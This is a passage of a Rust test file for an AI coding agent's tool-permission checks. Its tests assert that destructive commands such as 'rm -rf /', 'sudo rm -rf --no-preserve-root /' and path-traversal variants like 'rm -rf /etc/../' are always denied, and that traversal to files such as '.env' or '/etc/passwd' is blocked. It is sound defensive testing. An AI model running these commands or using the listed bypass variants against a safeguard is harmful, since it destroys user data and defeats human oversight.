1983 t("rm -rf /tmp/../..").is_deny();
1984 t("rm -rf /var/log/../../").is_deny();
1985 // Root via /./
1986 t("rm -rf /./").is_deny();
1987 t("rm -rf /.").is_deny();
1988 // Double slash (equivalent to /)
1989 t("rm -rf //").is_deny();
1990 // Home traversal via ~/./
1991 t("rm -rf ~/./").is_deny();
1992 t("rm -rf ~/.").is_deny();
1993 // Dot traversal via indirect paths
1994 t("rm -rf ./foo/..").is_deny();
1995 t("rm -rf ../foo/..").is_deny();
1996 // Traversal in chained commands
1997 t("ls && rm -rf /tmp/../../").is_deny();
1998 t("echo hello; rm -rf /./").is_deny();
1999 // Traversal cannot be bypassed by global or allow patterns
2000 t("rm -rf /tmp/../../")
2001 .global_default(ToolPermissionMode::Allow)
2002 .is_deny();
2003 t("rm -rf /./").allow(&[".*"]).is_deny();
2004 // Safe paths with traversal should still be allowed
2005 t("rm -rf /tmp/../tmp/foo")
2006 .mode(ToolPermissionMode::Allow)
2007 .is_allow();
2008 t("rm -rf ~/Documents/./subdir")
2009 .mode(ToolPermissionMode::Allow)
2010 .is_allow();
2011 }
2012
2013 #[test]
2014 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2015 t("rm -rf /tmp /").is_deny();
2016 t("rm -rf /tmp/foo /").is_deny();
2017 t("rm -rf /var/log ~").is_deny();
2018 t("rm -rf /safe $HOME").is_deny();
2019 }
2020
2021 #[test]
2022 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2023 t("rm -rf / /tmp").is_deny();
2024 t("rm -rf ~ /var/log").is_deny();
2025 t("rm -rf . /tmp/foo").is_deny();
2026 t("rm -rf .. /safe").is_deny();
2027 }
2028
2029 #[test]
2030 fn hardcoded_allows_rm_multi_path_all_safe() {
2031 t("rm -rf /tmp /home/user")
2032 .mode(ToolPermissionMode::Allow)
2033 .is_allow();
2034 t("rm -rf ./build ./dist")
2035 .mode(ToolPermissionMode::Allow)
2036 .is_allow();
2037 t("rm -rf /var/log/app /tmp/cache")
2038 .mode(ToolPermissionMode::Allow)
2039 .is_allow();
2040 }
2041
2042 #[test]
2043 fn hardcoded_blocks_rm_multi_path_with_traversal() {
2044 t("rm -rf /safe /tmp/../../").is_deny();
2045 t("rm -rf /tmp/../../ /safe").is_deny();
2046 t("rm -rf /safe /var/log/../../").is_deny();
2047 }
2048
2049 #[test]
2050 fn hardcoded_blocks_user_reported_bypass_variants() {
2051 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2052 t("rm -rf /etc/../").is_deny();
2053 t("rm -rf /etc/..").is_deny();
2054 // User report: --no-preserve-root (without =value) should not bypass
2055 t("rm -rf --no-preserve-root /").is_deny();
2056 t("rm --no-preserve-root -rf /").is_deny();
2057 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2058 t("rm -rf /*").is_deny();
2059 // Chained with sudo
2060 t("sudo rm -rf /").is_deny();
2061 t("sudo rm -rf --no-preserve-root /").is_deny();
2062 // Traversal cannot be bypassed even with global allow or allow patterns
2063 t("rm -rf /etc/../")
2064 .global_default(ToolPermissionMode::Allow)
2065 .is_deny();
2066 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2067 t("rm -rf --no-preserve-root /")
2068 .global_default(ToolPermissionMode::Allow)
2069 .is_deny();
2070 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2071 }
2072
2073 #[test]
2074 fn normalize_path_relative_no_change() {
2075 assert_eq!(normalize_path("foo/bar"), "foo/bar");
2076 }
2077
2078 #[test]
2079 fn normalize_path_relative_with_curdir() {
2080 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2081 }
2082
2083 #[test]
2084 fn normalize_path_relative_with_parent() {
2085 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2086 }
2087
2088 #[test]
2089 fn normalize_path_absolute_preserved() {
2090 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2091 }
2092
2093 #[test]
2094 fn normalize_path_absolute_with_traversal() {
2095 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2096 }
2097
2098 #[test]
2099 fn normalize_path_root() {
2100 assert_eq!(normalize_path("/"), "/");
2101 }
2102
2103 #[test]
2104 fn normalize_path_parent_beyond_root_clamped() {
2105 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2106 }
2107
2108 #[test]
2109 fn normalize_path_curdir_only() {
2110 assert_eq!(normalize_path("."), "");
2111 }
2112
2113 #[test]
2114 fn normalize_path_empty() {
2115 assert_eq!(normalize_path(""), "");
2116 }
2117
2118 #[test]
2119 fn normalize_path_relative_traversal_above_start() {
2120 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2121 }
2122
2123 #[test]
2124 fn normalize_path_relative_traversal_with_curdir() {
2125 assert_eq!(normalize_path("../../."), "../..");
2126 }
2127
2128 #[test]
2129 fn normalize_path_relative_partial_traversal_above_start() {
2130 assert_eq!(normalize_path("foo/../../bar"), "../bar");
2131 }
2132
2133 #[test]
2134 fn most_restrictive_deny_vs_allow() {
2135 assert!(matches!(
2136 most_restrictive(
2137 ToolPermissionDecision::Deny("x".into()),
2138 ToolPermissionDecision::Allow
2139 ),
2140 ToolPermissionDecision::Deny(_)
2141 ));
2142 }
2143
2144 #[test]
2145 fn most_restrictive_allow_vs_deny() {
2146 assert!(matches!(
2147 most_restrictive(
2148 ToolPermissionDecision::Allow,
2149 ToolPermissionDecision::Deny("x".into())
2150 ),
2151 ToolPermissionDecision::Deny(_)
2152 ));
2153 }
2154
2155 #[test]
2156 fn most_restrictive_deny_vs_confirm() {
2157 assert!(matches!(
2158 most_restrictive(
2159 ToolPermissionDecision::Deny("x".into()),
2160 ToolPermissionDecision::Confirm
2161 ),
2162 ToolPermissionDecision::Deny(_)
2163 ));
2164 }
2165
2166 #[test]
2167 fn most_restrictive_confirm_vs_deny() {
2168 assert!(matches!(
2169 most_restrictive(
2170 ToolPermissionDecision::Confirm,
2171 ToolPermissionDecision::Deny("x".into())
2172 ),
2173 ToolPermissionDecision::Deny(_)
2174 ));
2175 }
2176
2177 #[test]
2178 fn most_restrictive_deny_vs_deny() {
2179 assert!(matches!(
2180 most_restrictive(
2181 ToolPermissionDecision::Deny("a".into()),
2182 ToolPermissionDecision::Deny("b".into())
2183 ),
2184 ToolPermissionDecision::Deny(_)
2185 ));
2186 }
2187
2188 #[test]
2189 fn most_restrictive_confirm_vs_allow() {
2190 assert_eq!(
2191 most_restrictive(
2192 ToolPermissionDecision::Confirm,
2193 ToolPermissionDecision::Allow
2194 ),
2195 ToolPermissionDecision::Confirm
2196 );
2197 }
2198
2199 #[test]
2200 fn most_restrictive_allow_vs_confirm() {
2201 assert_eq!(
2202 most_restrictive(
2203 ToolPermissionDecision::Allow,
2204 ToolPermissionDecision::Confirm
2205 ),
2206 ToolPermissionDecision::Confirm
2207 );
2208 }
2209
2210 #[test]
2211 fn most_restrictive_allow_vs_allow() {
2212 assert_eq!(
2213 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2214 ToolPermissionDecision::Allow
2215 );
2216 }
2217
2218 #[test]
2219 fn decide_permission_for_path_no_dots_early_return() {
2220 // When the path has no `.` or `..`, normalize_path returns the same string,
2221 // so decide_permission_for_path returns the raw decision directly.
2222 let settings = test_agent_settings(ToolPermissions {
2223 default: ToolPermissionMode::Confirm,
2224 tools: Default::default(),
2225 });
2226 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2227 assert_eq!(decision, ToolPermissionDecision::Confirm);
2228 }
2229
2230 #[test]
2231 fn decide_permission_for_path_traversal_triggers_deny() {
2232 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2233 let mut tools = collections::HashMap::default();
2234 tools.insert(
2235 Arc::from(EditFileTool::NAME),
2236 ToolRules {
2237 default: Some(ToolPermissionMode::Allow),
2238 always_allow: vec![],
2239 always_deny: vec![deny_regex],
2240 always_confirm: vec![],
2241 invalid_patterns: vec![],
2242 },
2243 );
2244 let settings = test_agent_settings(ToolPermissions {
2245 default: ToolPermissionMode::Confirm,
2246 tools,
2247 });
2248
2249 let decision =
2250 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2251 assert!(
2252 matches!(decision, ToolPermissionDecision::Deny(_)),
2253 "expected Deny for traversal to /etc/passwd, got {:?}",
2254 decision
2255 );
2256 }
2257
2258 #[test]
2259 fn normalize_path_collapses_dot_segments() {
2260 assert_eq!(
2261 normalize_path("src/../.zed/settings.json"),
2262 ".zed/settings.json"
2263 );
2264 assert_eq!(normalize_path("a/b/../c"), "a/c");
2265 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2266 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2267 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2268 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2269 }
2270
2271 #[test]
2272 fn normalize_path_handles_multiple_parent_dirs() {
2273 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2274 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2275 }
2276
2277 fn path_perm(
2278 tool: &str,
2279 input: &str,
2280 deny: &[&str],
2281 allow: &[&str],
2282 confirm: &[&str],
2283 ) -> ToolPermissionDecision {
2284 let mut tools = collections::HashMap::default();
2285 tools.insert(
2286 Arc::from(tool),
2287 ToolRules {
2288 default: None,
2289 always_allow: allow
2290 .iter()
2291 .map(|p| {
2292 CompiledRegex::new(p, false)
2293 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2294 })
2295 .collect(),
2296 always_deny: deny
2297 .iter()
2298 .map(|p| {
2299 CompiledRegex::new(p, false)
2300 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2301 })
2302 .collect(),
2303 always_confirm: confirm
2304 .iter()
2305 .map(|p| {
2306 CompiledRegex::new(p, false)
2307 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2308 })
2309 .collect(),
2310 invalid_patterns: vec![],
2311 },
2312 );
2313 let permissions = ToolPermissions {
2314 default: ToolPermissionMode::Confirm,
2315 tools,
2316 };
2317 let raw_decision = ToolPermissionDecision::from_input(
2318 tool,
2319 &[input.to_string()],
2320 &permissions,
2321 ShellKind::Posix,
2322 );
2323
2324 let simplified = normalize_path(input);
2325 if simplified == input {
2326 return raw_decision;
2327 }
2328
2329 let simplified_decision =
2330 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2331
2332 most_restrictive(raw_decision, simplified_decision)
2333 }
2334
2335 #[test]
2336 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2337 let decision = path_perm(
2338 "copy_path",
2339 "src/../.zed/settings.json",
2340 &["^\\.zed/"],
2341 &[],
2342 &[],
2343 );
2344 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2345 }
2346
2347 #[test]
2348 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2349 let decision = path_perm(
2350 "copy_path",
2351 "src/../.zed/settings.json",
2352 &[],
2353 &[],
2354 &["^\\.zed/"],
2355 );
2356 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2357 }
2358
2359 #[test]
2360 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2361 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2362 assert!(matches!(decision, ToolPermissionDecision::Allow));
2363 }
2364
2365 #[test]
2366 fn decide_permission_for_path_most_restrictive_wins() {
2367 let decision = path_perm(
2368 "copy_path",
2369 "allowed/../.zed/settings.json",
2370 &["^\\.zed/"],
2371 &["^allowed/"],
2372 &[],
2373 );
2374 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2375 }
2376
2377 #[test]
2378 fn decide_permission_for_path_dot_segment_only() {
2379 let decision = path_perm(
2380 "delete_path",
2381 "./.zed/settings.json",
2382 &["^\\.zed/"],
2383 &[],
2384 &[],
2385 );
2386 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2387 }
2388
2389 #[test]
2390 fn decide_permission_for_path_no_change_when_already_simple() {
2391 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2392 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2393 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2394 }
2395
2396 #[test]
2397 fn decide_permission_for_path_raw_deny_still_works() {
2398 // Even without traversal, if the raw path itself matches deny, it's denied
2399 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2400 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2401 }
2402
2403 #[test]
2404 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2405 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2406 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2407 }
2408}